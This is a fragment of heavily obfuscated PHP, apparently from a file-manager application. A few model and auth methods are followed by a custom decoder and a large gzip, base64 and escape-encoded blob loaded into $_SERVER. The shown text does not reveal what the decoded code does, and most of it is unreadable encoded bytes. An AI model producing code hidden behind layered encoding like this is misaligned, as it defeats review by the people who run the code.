$ϸȼ = Model($[513])->userListInfo($ϸȼ); } if ($) { $ = array($[1895] => array($[419], $)); $ = Model($[522])->field($[2015])->where($)->select(); $ = array_to_keyvalue($, $[1808]); } return array($[2016] => $ϸȼ, $[2017] => $); } public function authInfo($ť) { $ =& $_SERVER[Ǿ]; if ($ť[$[1909]]) { $ʱ = Model($[507])->listData($ť[$[1909]]); if (!$ʱ) { return !1; $ɦ = Model($[507])->listData(); $ɭ = array_filter_by_field($ɦ, $[414], $[200]); return $ɭ; } $ѷ = array_field_key($ʱ, array($[401], $[42], $[414], $[1830], $[1831])); $ѷ[$[2018]] = $ť; return $ѷ; } else { return array($[420] => 0, $[1814] => $ť[$[1963]], $[421] => $[22], $[1830] => $[2019]); } } } goto d⟌; D: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xb9\xe0\xf6\x99\xc7\xbe", "\xe2\xd6\xca\xe2\xf8\xc4"); $_SERVER[Ǿ] = explode(base64_decode('fAF8A3wG'), gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\7\170\34\325\325\50\55\241\204\136\23\110\140\20\66\222\354\55\222\273\145\313\146\45\255\244\305\53\255\330\135\271\140\231\365"."\354\356\254\64\322\356\314\152\146\126\305\45\241\30\314\117\7\203\201\340\360\10\45\220\37\260\41\224\337\24\103\102\40\16\35\102\150\41\201\374\216\145\233\22\152\200\320"."\337\55\347\226\231\135\301\377\276\367\276\357\31\354\235\173\156\277\367\334\163\317\71\367\334\163\327\336\363\361\35\267\74\264\152\367\125\173\256\372\376\77\337\275\340\205\253"."\327\323\157\364\367\173\350\77\362\175\334\371\373\354\106\376\34\166\376\171\65\65\355\63\366\233\334\271\377\305\167\337\256\156\124\157\127\57\214\105\237\174\52\162\300\63\267".strrev('hBZ%=9H'."\n".'lvQ Qo4Ġ7uv;q')."\122\275\232\223\312\230\206\243\31\54\143\123\50\21\151\116\165\205\222\355\64\254\26\213\101\73\73\140\7\125\53\323\247\17\151\121\75\35\114\353\106\60\253\72\152\0\175"."\320\124\373\321\237\151\364\47\323\247\145\6\122\152\332\264\34\55\113\101\45\43\257\33\3\162\113\40\251\151\344\364\136\372\315\12\13\322\237\356\170\324\322\12\246\3\51"."\x3\x90\x19\xc6\x8f\xfc\x6b\xf\xe6\x75\x16\x9f\xea\x8c\x25\x53\x89\xee\xae\xae\x70\x3c\x9\x89\x1a\xe4\xf8\x82\x99\x85\xaf\xa2\x6a\xa9\x5\xe8\x6e\x51\xb3\x6c\x34\x6a\x72\x71\xa9\xa2\x59"."\324\14\27\104\0\160\267\323\252\15\45\265\64\245\132\302\135\321\330\222\124\162\111\127\30\122\244\123\203\45\315\32\245\41\362\231\160\124\313\111\352\5\215\247\30\266\170"."\xbb\x9a\xc2\x6d\x91\x4e\x25\x19\xf\x75\x26\x42\xcd\xc9\x48\xac\x93\x82\x9b\x63\x1d\x1d\x91\x64\x39\x3c\x1e\x8b\x46\x9b\x42\xcd\xb\xca\x63\xba\xe2\xa1\xb6\x8e\x90\x82\xda\x87\x26\x56\x37"."\x72\x66\x8d\xb2\x9c\xc6\x2c\x57\x6a\xe9\x47\xab\xae\xe5\x61\x42\xc\x95\x35\xc7\x19\x2d\xc2\x57\x92\x7f\x21\x74\x32\x4a\xf9\x3c\xd\x74\xf2\xaf\xac\x96\x53\x4b\x79\x18\xad\x16\x39\x50\xb4".strrev('BL'."\n".'cƴᣄK'."\n".'AB4Mkj8'."\n".'#FcP@:ʂ')."\101\265\35\315\122\26\265\207\343\141\5\67\272\261\232\364\265\132\1\174\351\104\103\241\204\242\121\145\274\22\34\255\120\144\305\320\74\25\12\213\305\133\302\161\245\151\211".base64_decode('IkYoYxYKphFApaCZdKSmhuNx+uGDZRiN4EmDQKy1NRHmIejcKVHUkqmAn65QNpc=')."\x77\x52\x43\x6a\xbe\xc4\xd0\x14\x96\x4b\x35\xfc\xc0\xaf\x69\x3\xea\xe\xea\x86\x5e\x2\x34\x85\x22\x4c\xd3\x66\x2d\x86\x8f\x12\x4b\xad\x31\x88\x96\x85\x8f\x2\xca\x6f\xc2\xca\x43\xcb\x70"."\210\176\66\316\243\277\163\40\121\32\323\207\41\315\162\122\232\221\61\263\272\1\213\165\76\40\235\352\364\265\130\210\56\130\120\222\31\310\230\305\321\16\163\110\42\63\121"."\xbe\xc2\x72\x66\x3e\xab\x59\x22\x5c\x44\xd9\xe5\x18\xe8\x8e\x8b\x48\x75\x96\xa\x72\x12\x1e\x44\xe4\x28\x9f\xb5\xd8\xc2\xfc\xb6\x94\x68\xe9\xeb\xb9\x51\xb1\x0\x6d\xb3\x64\x65\x10\x61\xcc".strrev('L~*DZjIc(,Л5M.f$=Ioo"')."\12\21\3\154\241\144\245\41\14\326\54\75\303\377\365\262\245\47\241\177\152\201\26\366\100\233\372\264\174\76\245\215\150\260\222\12\331\351\66\353\144\320\306\144\31\101\150"."\60\22\113\365\251\166\137\107\166\172\212\344\142\44\66\253\215\4\212\175\105\130\346\174\145\367\270\60\35\117\113\247\351\204\245\15\45\157\146\324\274\334\105\372\335\347\70"."\xc5\x84\x66\x64\x5b\x39\x45\xcf\x9a\xc3\x6\x19\xa9\xa2\xc6\x88\x7f\x8b\x4f\xc9\x2a\x1d\xca\x12\xa5\xbd\x41\x6f\xb0\x59\xc6\x42\x9e\x7f\xb1\xde\x71\x98\xcd\x81\xce\x8\xa0\x4a\x15\xdf\x8f".strrev('ߺVPeK17(yfћm2e*icsGtuFz').strrev('EۢKIAA ?iTbƤHG5Yek1')."\161\363\32\24\325\161\324\114\37\46\27\242\370\106\106\3\213\272\245\331\254\176\245\255\43\11\5\241\34\232\277\313\122\173\13\152\203\122\54\245\121\157\141\251\125\200\321"."\xd4\xd0\xdd\x6\x25\x83\x83\x3e\xa5\x50\xb2\x1d\xbf\xa5\x21\x5a\xa2\xa3\xfd\xa\xe6\x25\x92\xf3\x77\xe0\x75\xa0\x6b\x59\x7f\x2\x91\x5c\x0\x4f\xad\x9b\xa6\xa0\xa9\x56\x58\x1c\x85\xb6\x27".base64_decode('k12pSCvaUzvDqY5Qshm4gbCj9rI2RxEh5UUy4GI/Wg8YGTpRXwWwyxzWLFRx02g=')._kodDe('KyV2WVPZxnM7qDhK9QW1HNYtH6vx513k1YI8DS1/k8cwEd6b3+dZcC1WHw8VC1KB').strrev('F8#,Wz').strrev(''."\n".'-I\'>w*SR(`0aDvw;?oV fO')."\206\167\54\171\263\340\304\335\306\273\243\214\241\11\15\255\42\200\210\322\22\145\161\162\152\241\3\302\33\201\330\70\330\310\213\165\51\146\103\54\102\27\342\364\212\226\226"."\x50\x8a\x54\x79\xa3\x30\xf2\x57\xe\xb7\x5a\x26\x67\x75\x39\x1f\xe0\x4d\xd4\x4c\x64\x49\x47\x1e\x7a\x69\x13\x97\x6\xca\xc5\x6f\x94\x81\xa4\x3c\x5e\xce\xc3\x3\xf5\x4\xbd\xe3\xd\x5b\x15".base64_decode('BTGFspot6EbAopteAEkIcLjrq5NYMkGpVtpka4FNcrUHARzTRGKnFbBQzaJBwPQ=')."\227\370\64\54\203\126\221\242\104\72\211\130\222\230\250\311\4\130\274\376\303\131\335\301\20\274\313\231\114\13\55\22\112\347\254\34\46\123\137\262\211\224\115\202\140\350\175".base64_decode('E10pK231gUlkdw5UPj7GB9D0SzKzKPATaQIM2I5ZFDFSkEZLUaJQKRUfaNIOhOo=')."\131\302\277\212\201\42\151\41\57\21\156\351\152\12\344\121\12\351\164\44\322\22\262\54\206\76\264\163\130\141\216\200\62\10\323\245\4\303\375\112\33\15\55\74\74\44\214"."\x28\x68\x51\xb8\xe2\x0\x5d\x89\x1\x35\x9b\x8d\xb1\xe3\x20\xf9\xbb\x3c\xa9\xac\xe8\xab\x5c\x10\xb1\x68\xe1\x45\x49\xa1\xca\xc9\x43\xf9\xbc\x38\xf4\xf6\x86\xc7\xcd\x42\x17\x9d\x9c\x49\x86"."\x8c\x9b\xad\x95\x48\x96\xec\x50\xab\x12\x8c\xcb\x1c\x32\x43\xed\x66\xa0\x85\x9\x82\x97\xd1\x76\xd3\xd2\xf1\xb9\x8f\x71\x88\x8d\x98\xd0\xca\x61\xb4\x53\x37\xf7\xe9\x86\x66\xf3\xd\xd7\xb2".base64_decode('K9GO/89sbvkc4LUyHuLgOEk5jM26hly7K9eACtIkMRBkM045LtYnTsqQFo8LH9A=').strrev('+kߚWY0J/4Y2iaFžИӦ ec$C}b').strrev('ߧxl>Cyx[=ЙÒEc90+s~')."\176\351\241\217\375\52\20\375\340\370\123\256\177\364\346\11\363\217\76\156\375\312\225\17\116\375\324\270\170\170\145\325\257\377\175\334\15\205\155\137\136\132\25\136\166\135\340".strrev('zl_L`z\'yƉ"9Ip[')."\376\212\17\137\332\147\335\361\277\155\234\266\357\45\261\273\232\263\7\37\364\301\21\253\367\332\375\317\153\217\271\156\377\47\67\354\331\363\137\107\315\132\365\356\266\345\331".base64_decode('m3b0/8c3/5yw19A+P/roRx/f9vw+oxval135ve9f8QPlukfXbX28+cCV/oNeXXM=').strrev('Urgْv;_[ezί>nU')."\xbf\xf9\xec\x8e\x37\x36\x7e\x10\xf9\xd9\x6f\xb7\x9e\x3c\xfd\xda\x69\xaf\xed\xbd\xea\xa1\xbf\xf5\x9b\xdd\xa7\x9e\x7a\xd9\x11\xff\xfe\xe3\x93\xd7\x2e\xee\xfb\xf9\xc4\xc0\x3d\xe7\xfe\xe3\xe6"."\333\76\254\375\215\172\310\372\5\157\37\163\323\232\271\47\76\65\363\253\335\232\266\177\261\241\161\303\317\263\133\366\371\350\363\35\73\162\177\272\165\311\274\273\175\377\153".strrev('΃croKYDz\'}7Yo|')."\360\243\256\115\103\67\156\172\156\352\266\37\357\166\314\304\67\217\376\360\261\3\367\76\176\113\177\325\254\215\207\56\73\367\244\67\246\66\34\273\362\240\366\263\37\371\355"."\247\67\77\372\302\312\335\217\254\232\141\355\61\157\252\357\331\233\73\6\137\75\174\371\73\147\36\322\177\310\331\7\77\236\236\171\121\355\340\272\127\362\217\34\276\344\212"."\x63\xff\xb1\xfd\xc0\x7b\xea\x6f\x6e\x9c\x96\xee\xdc\x66\x67\xf7\xfc\xc1\x41\x3b\x36\x3e\xb7\xe7\xae\x7b\xc7\xf6\x8f\x4e\xb8\xfd\x98\xfa\xed\x9b\x1b\x9b\xfa\xf2\x75\x1f\x1f\xdc\xff\x40\xfb"."\375\277\337\353\330\243\57\131\235\374\335\125\321\275\363\376\73\7\167\153\75\144\351\251\35\117\377\144\301\313\143\13\367\356\70\350\325\303\146\356\363\322\130\146\337\205\217".strrev('D>/;c bw>Y6jw#2')."\x3c\x11\x7d\x67\xc7\xb3\x7f\x6d\x2e\x1e\x38\xf8\xa7\x2f\x27\x3c\x70\xde\x21\xef\xdf\xb8\xf4\x8f\x97\xff\xf2\xe0\x7b\x7c\xbd\x1b\x76\xbc\xf3\xf6\xdb\xfb\x3e\x7b\xf6\xdb\xfb\x1e\x55\x7b\x6d"."\xbc\x6d\xb0\x61\x8f\xa9\x97\x3a\x7f\x1b\x7a\xf3\xcb\x8e\xad\xf9\xb5\x8f\xeb\x87\xdc\xf2\xc1\x47\xd6\xb1\x1f\xd5\x2c\xb9\xf1\xd3\x23\x76\x5b\x7d\xe8\xc8\xc1\x1f\x1f\xf2\xaf\x83\xb7\x3c\xf1"."\xe6\x9\x47\x3f\xf4\xdc\x8b\x67\xaf\xbf\xe2\xa1\xcd\x53\xd2\x8b\xef\x78\xf1\x1a\x5f\x5d\xe6\xcd\x7d\x6a\x8e\x5f\x32\xdd\x7f\x5b\xf0\xba\x77\x3b\xbe\x7c\xe8\x7\xca\xc9\xf\x3e\xb5\xc7\x5d".strrev('V/Ӷrg>#~=}+GOs|/R.^wg').base64_decode('X9sH149se6Gm1H1Yw8Hfv+a0qk+O1A9+aPnWCQeumNp44iMHKSev3bfj+uSPbho=')."\234\370\352\341\113\126\334\372\47\163\341\75\235\332\35\353\246\55\272\76\262\275\175\373\147\117\275\173\277\175\331\365\231\277\46\343\137\376\344\357\327\54\372\141\375\244\253"."\xfe\xb2\x2a\x3d\x69\xf6\x75\x6f\x4f\xfa\xd5\x63\xc7\xfa\x97\x1c\xf5\xea\xeb\x87\xfd\xe0\xfa\x33\x6e\xfa\xcd\xa4\xde\xbe\xcb\x7\xa7\x4d\x7a\xae\xff\xb3\xe3\x4f\x5c\xd3\x7a\xcf\x57\x3b\xce".base64_decode('WKjf85etp9719OjWj/23v2wcdOSTB3z/mZodE6877LKoecqJV+x+/FI7+cgP/tw=').base64_decode('dMvTp9/4dLv+x+993jN6aaxrltlwzsGfdf2wxvfshJs+3/utz87JnhjKv/bo400=').strrev('x~՗]v7iS;.E.ܾOY')."\x6f\xfb\xf9\xa3\xad\x6a\xe8\xfe\xdc\xab\xad\x87\xbf\xf3\xcb\xd1\x7d\x66\x7c\xb3\xb2\x65\xdb\xe7\x96\xf6\xea\x67\x5f\xdf\xf4\x97\x8f\x73\x67\x7\xb7\xde\x71\x75\xbe\x7a\xf3\x47\x97\xdd\xb9"."\355\227\153\236\114\76\236\273\353\230\77\176\164\356\247\367\276\362\223\305\123\376\335\63\163\341\372\103\374\77\275\361\244\360\274\7\176\265\360\242\131\55\263\266\274\274\121"."\x6f\xfb\xf8\xb4\xd4\x3d\xcd\xc7\x4e\xb9\xa4\xfa\xd2\x7b\xa6\xfe\xd0\xb9\xfb\xb4\x2d\xa7\xbc\xf7\xe2\xca\xa6\x3d\xf\x9b\x75\xd1\x53\xd9\xa7\xcf\xfa\xfa\x74\x75\xd9\xad\xef\x26\xf\x3c\xf0"."\xad\xdb\x27\xe4\xf6\x7a\x3f\x79\x4b\x7a\x8f\xdd\x5f\xdf\xfb\x1f\xb3\x7a\x1f\x3c\xe0\x82\x7\x66\xfe\x60\xe0\xe0\x75\x27\x5d\x75\xc7\x87\xbb\x3e\xb9\xf6\xc0\xfe\xcf\x33\xf6\x8f\xfd\x47\x9e"."\xbf\x38\xf9\xeb\x9b\x16\xff\x73\xce\xb6\xb9\xc6\xb1\xe6\xa1\x57\x3e\xb2\xf2\xdd\xf7\xbf\xfe\xe5\x11\xa7\xdd\xbd\xfd\xe2\xb3\xff\x7a\xe8\xe4\x67\xfe\xde\xd9\xb4\xf6\xc0\x4b\x47\x3b\x82\x77"."\x9c\xbf\x5f\xf8\x1f\x2f\x15\x3a\xdf\xd8\xb2\xef\xc7\x8f\x9c\x3a\xb8\x7a\x54\x1f\x7b\xe9\x4f\xb7\xcf\xfa\xfb\xa5\x8b\x32\xbd\xb7\xc4\x83\xb9\x9d\xf\xff\x74\xe8\xeb\x9b\x53\x3d\xf\x7d\xfe"."\332\330\333\67\37\365\263\321\317\377\366\321\121\127\156\112\75\74\374\331\347\267\336\165\345\67\163\277\330\365\330\147\73\177\266\145\344\263\267\266\35\364\160\317\45\207\275"."\367\311\45\307\175\371\273\330\332\327\337\172\366\262\237\276\260\355\250\216\253\257\72\363\262\175\76\274\355\254\232\75\337\337\174\354\36\125\77\371\272\56\377\161\366\147\47"."\x1c\xb3\xf1\x8e\x17\xe\xb9\xe3\x83\xf7\xef\x31\x7e\x9c\xde\x6d\xab\xfa\xd2\x92\xf3\xe\xfc\xf5\x63\x5f\x2f\xdd\xfc\x8b\x52\xe8\xc4\xf\x6e\x4b\x5c\xfe\xd6\x59\x8f\xf5\x6f\xb8\xf7\xf2\x93"."\xf7\x7b\xec\xcc\x75\xad\xb7\x5c\xf2\x48\xe4\xc4\xe1\xc7\xff\xfb\x97\xbe\xa3\x27\xdd\x57\xbb\xf8\x6f\x2f\x5e\xf8\xf8\xef\x9f\x7a\x60\xc1\xe4\x8b\x17\x1a\xc1\x81\xb1\x1f\xef\x3c\xfa\xec\x6d"."\177\271\341\246\53\306\266\374\255\365\341\205\63\376\265\365\315\75\256\377\354\336\115\127\117\331\155\166\376\67\347\167\373\237\135\73\353\211\332\343\137\331\324\32\70\170\64".base64_decode('9fCpz55wpV61Nrem/uoLfDNvO//pA69euecpzpqHfrjmq71e+9GiowPHTD9kycI=')."\x5f\xbd\xfe\xe5\x97\x6b\x3e\xd9\xf3\xe5\x89\xc7\x76\x5c\xb3\x36\x3d\xf7\xfd\x4c\x3e\x7b\xd0\x92\xf5\xa7\xec\x6c\x99\xdd\xf6\xca\x2f\xde\xb9\xdf\xff\xb0\xbe\x75\xeb\x98\xfd\xce\xce\xbd\x3"."\xf3\xf6\x79\x64\xdd\x51\x93\x97\xfe\x67\xea\xf9\x47\x7\x1f\x8b\x1f\xf8\xcc\xc0\x27\xdb\x77\xdd\x39\xf3\xc9\x9d\x9f\xdf\xbe\x7c\xd6\xd9\xaf\x6f\x39\xf9\xab\x50\x66\xf3\xd2\x67\xae\x7b\xf5"."\315\301\371\273\26\76\160\327\43\13\127\176\172\167\362\356\265\353\236\16\335\272\354\237\63\254\323\366\74\156\307\256\17\266\254\372\303\265\321\336\165\257\17\255\276\356\276".strrev('^7߱#ڝ8+}g+6y; [')."\xf0\xce\x9\x97\x1f\x76\x5b\xed\xf5\xb7\xed\xfb\xd4\x9a\x3\xfe\x10\x33\xee\xb8\xfc\xf7\xaf\x1f\xb4\x66\xfd\x6d\xf3\xbe\x5f\xfd\xdb\xb5\xd7\x8e\xed\x17\x39\xa1\xb8\x7c\xf3\x1d\x5f\x6e\xbc"."\xe5\x9a\x6d\x9b\xdf\xff\xbd\xf2\xe5\x1e\xd\xe9\xd3\x2e\x31\xe\xe9\xbf\x70\xd5\x7e\xf\xf6\x87\x95\xab\x67\x8d\x74\xee\xdf\x3c\xf1\x89\xda\x2f\xd6\xbc\xff\xc9\x19\xd5\xe9\x97\x96\xff\x64"."\xf6\xdb\xd1\xb9\xd6\x1e\x2d\xd7\x1d\x78\x56\x36\xb3\xfa\xa4\x5b\xfe\xd2\xff\xc5\xd\x85\x7b\x57\xee\x77\xe3\xe9\xff\xbc\x79\x57\xcd\xb5\x17\xff\xa3\x61\x6d\xe9\xef\xb\xf\xdd\x7d\x4e\xf8"."\245\247\254\111\147\74\165\100\303\100\340\260\303\317\130\375\311\147\273\175\157\337\33\336\273\372\375\346\226\374\320\127\103\217\354\157\304\137\373\335\372\375\157\370\164\115\346"."\221\135\157\275\374\332\224\103\356\72\362\326\67\133\57\61\57\372\361\307\167\256\376\370\256\43\237\316\46\326\344\2\271\63\257\377\137\117\235\163\137\264\355\207\317\47\37"."\334\155\357\277\337\147\176\266\344\223\351\273\46\374\356\330\337\35\372\237\107\326\275\165\321\243\177\336\360\364\223\327\354\263\136\175\376\334\337\157\332\157\361\204\363\327\256"."\xd3\x36\x2b\x37\x84\x4e\x7c\xba\xe5\xb2\x7b\x92\x27\xdc\x74\xe5\x39\x6f\x4f\xdf\xfc\xdf\x5d\x8d\xff\xf5\xda\x86\xd7\xdf\x78\xe6\x17\x43\xfa\x67\xa1\x83\x9d\x3f\x3e\xff\xfc\x4b\xbb\x7e\xfa".strrev('5=G9|;NwKsw')."\342\321\143\117\217\135\321\166\161\113\367\322\323\357\174\57\163\305\36\276\314\306\373\152\56\135\75\361\204\347\347\54\314\256\371\350\116\377\1\333\63\153\17\172\373\276\303"."\117\377\350\262\167\37\327\102\237\46\216\177\356\212\7\132\366\370\347\171\177\270\141\151\327\222\160\335\171\351\303\217\273\166\340\255\207\16\250\137\377\347\3\107\137\372\125".strrev('x_y6~V7߯z<ruoy<')."\277\330\376\302\371\261\153\177\361\315\7\251\67\266\374\373\235\167\136\275\122\75\342\341\125\237\177\271\355\215\67\316\171\370\215\257\77\333\366\342\223\347\77\73\257\341\213"."\247\337\173\166\336\127\377\336\166\315\303\251\257\167\176\364\315\352\257\276\267\351\355\353\67\74\374\354\347\127\37\273\307\347\33\112\326\274\3\26\354\270\160\316\314\327\377"."\173\340\275\7\203\253\36\352\276\375\305\143\136\233\363\364\337\266\274\364\165\350\201\27\376\371\361\336\153\333\266\176\372\356\374\335\232\157\71\41\223\75\365\342\255\257\14".base64_decode('nTvng1VHb4j2fvRCz09v7+p5o6awfurwT32+I8yJl0067g/73LfHs9Zv11ww/aw=')."\xef\x9d\x9f\xbb\xf5\xdf\x87\xfe\x7c\x7f\xff\x8f\x8e\xf9\xe2\xb9\x6b\x9e\xdc\x70\xce\x86\xcd\x4d\x6f\xd7\x6c\xf8\xe6\xb8\xbd\xd6\xd6\x3d\x93\x3e\x9c\xdd\x58\xc8\x17\x86\x72\xc6\x0\xc8\xb6".strrev('XhcٌeՎ%G! 6'."\0".')%SJFV')."\x16\xd8\x80\x4d\x9f\x3e\x13\x38\xf1\x6c\x29\x9d\x1b\x2\xd5\x5a\x7d\x3d\xab\x79\xda\xc\x60\xeb\xd3\x3\xd9\x11\x3\x98\xf0\x59\xd3\xa0\xf6\x59\x33\x21\x5d\x69\x68\x74\xb8\x77\x5\x54\xc8"."\254\255\373\12\3\332\20\60\256\231\376\25\305\234\75\300\362\103\266\251\254\240\154\156\110\357\35\205\326\327\117\201\76\115\237\71\235\65\203\376\32\205\122\321\111\103\65"."\xd3\xeb\xa1\x67\x5a\xbf\x9a\x1b\x1e\x60\x7a\xc0\xec\x8a\x91\x34\x53\x83\xce\x9c\x5\x25\xa5\xcd\x61\x4b\xd5\xfb\x69\x60\xc6\x54\xa8\x75\xc6\x14\x28\xb7\x3f\x6f\xaf\x70\xfa\x40\x51\x32\x7b"."\72\224\133\134\141\244\315\76\326\50\66\320\305\201\341\41\215\31\350\117\147\363\60\23\206\261\236\17\130\61\335\227\31\200\163\351\254\121\314\353\114\365\67\143\12\364\312".base64_decode('HMayAxxMFww1M7oCztgGzWG1f0WGNUPNZUrQjNHhFX3GEOOFZ8JQ91r5TH+O6Zs=')."\214\102\321\356\207\6\116\143\103\311\206\320\54\144\173\373\106\371\370\100\1\3\371\241\301\341\34\214\317\254\72\66\300\200\60\106\336\36\161\240\235\63\147\100\226\151\63"."\41\172\164\40\275\142\304\141\207\352\203\331\176\107\203\236\252\303\116\276\330\13\31\247\326\263\311\204\342\215\254\223\56\62\224\230\311\347\144\6\24\73\143\72\264\170\352".base64_decode('7BkM21hnpkMbhnvzlsNUjfWzAcGn1EMGy1YHV/TDHAzg2zY5huCs8GkzoMwVOac=')."\167\120\3\5\153\375\54\166\125\307\36\111\17\364\62\165\265\61\244\345\30\236\115\141\250\65\175\26\114\275\321\253\352\331\14\214\341\114\266\144\353\147\103\177\112\305\374".base64_decode('ipwJbZ3N0MQYHhrNjzCpSrOL1goQ2JyRQr/KzBGstD481MuOSHQra/SNMElMswY=')."\xd3\x30\xf5\x3\xfd\xa6\x6a\xf\x72\xb3\xfe\xb4\x3e\x98\x87\xd2\xa6\xcc\x86\x56\x16\x6\x46\x6c\x4b\x85\x92\x9c\x15\xf9\xe1\xa1\x41\xa8\x7d\xc0\xcc\xf6\xdb\x43\x16\x5b\x23\x30\x5b\x43\x66"."\xb6\xaf\xc4\xec\x45\xea\xd9\x2c\xf5\xa7\x91\x20\x9e\x5\x9c\x9c\x5a\x37\x9b\xad\x6\x18\x13\xdd\x1a\x1e\xc9\xb2\x13\x88\x52\xbf\x91\x76\xb2\x80\x5\x3\x43\xb9\xec\x88\x96\x66\x93\xce\xc8"."\207\63\244\146\64\60\230\310\233\152\246\64\220\143\355\0\140\377\220\71\72\242\63\264\235\301\326\155\272\157\5\263\61\357\263\63\246\236\207\141\31\112\333\203\132\37\357"."\74\353\214\143\26\62\66\164\146\306\64\230\231\251\214\314\114\257\203\101\132\122\200\61\151\122\63\3\114\371\211\4\132\247\144\173\22\360\53\42\106\240\240\32\334\112\244".strrev(')1B`/ XZlZAzNKC0aƚ咭Z')."\x85\x5c\xb1\x9\xc7\xb4\xb8\xb9\x4\x35\xc4\xa\xe0\x56\x5\xdc\xfd\xac\x83\x41\xaa\x70\x52\x7\x5a\x51\xdb\x1e\x36\x2d\x81\x43\x99\xbc\x59\xca\xba\x4a\xcd\xa6\x5d\x65\x72\x28\x53\x13\x78".base64_decode('Y3LjwFE5LiNTBnMNUJrMWEoOBNgQp6XZpOpkR7UHAjLYL8fqBmpFPh9w32pLkT8=').strrev(' 4Q-Ա'."\n".'V@(d]hC4'."\r".'0')."\x80\x9d\xa3\xec\xda\xf4\xc0\xd8\xc5\xeb\x77\x5c\x71\xc7\x8e\xb\x37\x8e\xdd\xbf\x6e\xd7\xc6\x3b\xc6\xb6\x5c\x81\x82\xdb\x37\x5f\x34\xb6\xf1\xda\x37\xaf\x3e\x7b\xfb\xe6\xb\xb7\x6f\x3e\x7d"."\xd7\xda\xbb\xdf\x7b\xf0\x82\xb1\x8b\x37\xed\x3a\x6b\xcb\xd8\x86\x5b\xc6\x6e\x5c\xbb\xfd\x81\x2d\xbb\x1e\x5e\xbb\xf3\x96\xf3\xb7\x6f\xbe\x7d\xc7\x86\xff\x18\x3b\xfb\xde\xed\xf\xac\x1f\x3b"."\367\272\261\265\27\357\130\167\341\366\55\33\120\372\35\347\212\222\121\262\261\333\257\302\171\37\74\163\154\363\346\135\277\274\205\307\276\367\340\31\100\125\201\143\150\323\34"."\x7c\xcb\x8c\x99\x20\x91\xd1\x51\xe6\x29\x80\x90\x9a\x1d\x50\xba\xf2\x1a\x1a\x61\x85\xdc\x8d\xc4\xf6\x4a\x4e\x9f\x66\x29\xe\xb1\x5b\x52\xd1\x5f\xc3\x34\xfc\x14\xe1\xe8\xd\x3e\x5b\xd1\xd"."\x1c\xad\xb0\xb9\x9\x70\xa4\x4c\x6a\x85\x22\x46\x2d\x18\xa5\x20\xbd\xd4\xe3\xb2\x5c\x96\xf0\xaf\xd2\x30\xd3\x88\xa\x68\x85\xc7\x5a\xcc\x55\xd\xfe\xac\x65\xc4\x76\x48\x53\x72\x2a\x2\x64"."\33\224\34\312\246\60\133\177\305\61\331\167\141\224\117\272\147\21\124\234\126\336\14\66\265\275\134\305\55\364\255\320\60\371\312\50\71\304\50\103\51\262\252\334\44\301\265"."\xde\xdc\xc4\x44\x8e\x72\x8f\x4\x28\x44\xc9\x11\xbb\x4f\xa1\x4d\xf1\x29\xe4\x44\x55\x71\xdf\x4c\xc3\x47\xe6\x6c\x13\x90\xd7\x98\xdc\x7c\x4b\x2b\xe6\xd5\xc\x6f\x7a\x71\xb4\xe2\x20\xca\xad"."\221\217\163\75\135\113\124\30\106\336\71\127\44\132\327\45\247\102\102\171\264\135\307\233\146\163\36\21\72\161\250\107\16\275\105\67\150\120\50\176\121\105\234\116\132\132\126"."\147\166\266\132\201\244\144\106\353\104\335\314\15\174\63\150\11\130\256\123\243\271\363\213\175\105\174\161\331\231\63\37\56\36\302\151\130\112\252\27\276\305\5\13\31\232\367"."\x9e\x44\xf1\x5\xd3\xd2\x24\x5d\xcb\xc5\xc9\x1a\xfc\x7e\xbf\xa4\xb5\xcd\xf3\xc3\x1a\xfc\x5\xc5\x89\x23\x54\x4\xb\xe3\xd5\x3c\x1e\xbc\x85\x9b\x20\xa0\x65\xde\xdb\xab\xd9\x4e\x3\xb9\x6d".base64_decode('pExWUENnBerRB1kQ0wMz0ScZJVjEPYbUKPo5p2SzKwIlI8+g6BMliZcMPG8N7p4=').base64_decode('aEZWyjRHzTiNUm9yMFQB0Ut1sojXssfDcEt9H4YELG+HezZRr/x8gtGkoY0/axM=').base64_decode('a0vYR6BIW7oOGRe4gbOTQfiWrI48kUXEXBjczNLOq+wEz0Ych25oHKtKNj9awCY=')."\311\51\264\103\263\275\14\141\140\52\253\103\144\64\322\224\152\211\200\135\136\250\53\222\112\44\142\322\125\167\162\125\153\161\152\101\254\45\325\34\213\55\210\0\346\300\250"."\66\110\304\15\137\14\22\7\270\70\44\56\10\341\23\14\331\134\112\346\36\360\165\140\274\103\46\24\60\46\104\50\332\334\36\212\163\233\355\351\201\272\100\275\110\213\52"."\x4c\x61\xd3\xf5\x46\x76\x1b\x31\x91\xc\xc5\x2b\x5c\xa\xa7\x97\xc5\x61\xc4\xe1\x82\x38\x64\x68\x8f\x2d\x52\x9a\x63\xd1\xee\x8e\xce\x4\xbd\xb\x4d\xe1\x9d\x31\x29\x9e\x58\xe6\x42\x34\xbb"."\62\136\36\15\305\207\273\242\241\346\260\22\351\114\306\230\351\75\267\225\44\227\56\22\74\314\206\300\262\65\176\45\34\362\323\200\174\61\104\56\221\227\4\70\272\324\127"."\335\123\325\63\251\247\246\247\166\171\240\307\136\26\224\266\33\135\236\36\10\164\265\100\367\32\370\127\326\206\65\327\221\110\234\2\127\210\142\361\120\163\224\65\245\51\224".strrev(''."\0".'7ˎt>v qh*!qc_~sXπ')."\x38\x1\x65\xd7\xa6\xff\xda\xbe\xe5\xe1\x9d\x97\xdf\x32\xb6\xf1\xaa\x1d\xeb\xef\xdb\xf9\xf3\x35\x34\xe2\xcd\x5f\xdf\x39\x76\xde\x2d\xbc\x61\xca\x9b\xeb\x1e\xda\x71\xd1\x4d\x9c\xcb\xa0\xcc".strrev('"/xmw k?ƛEe/v8\\6;qNynw 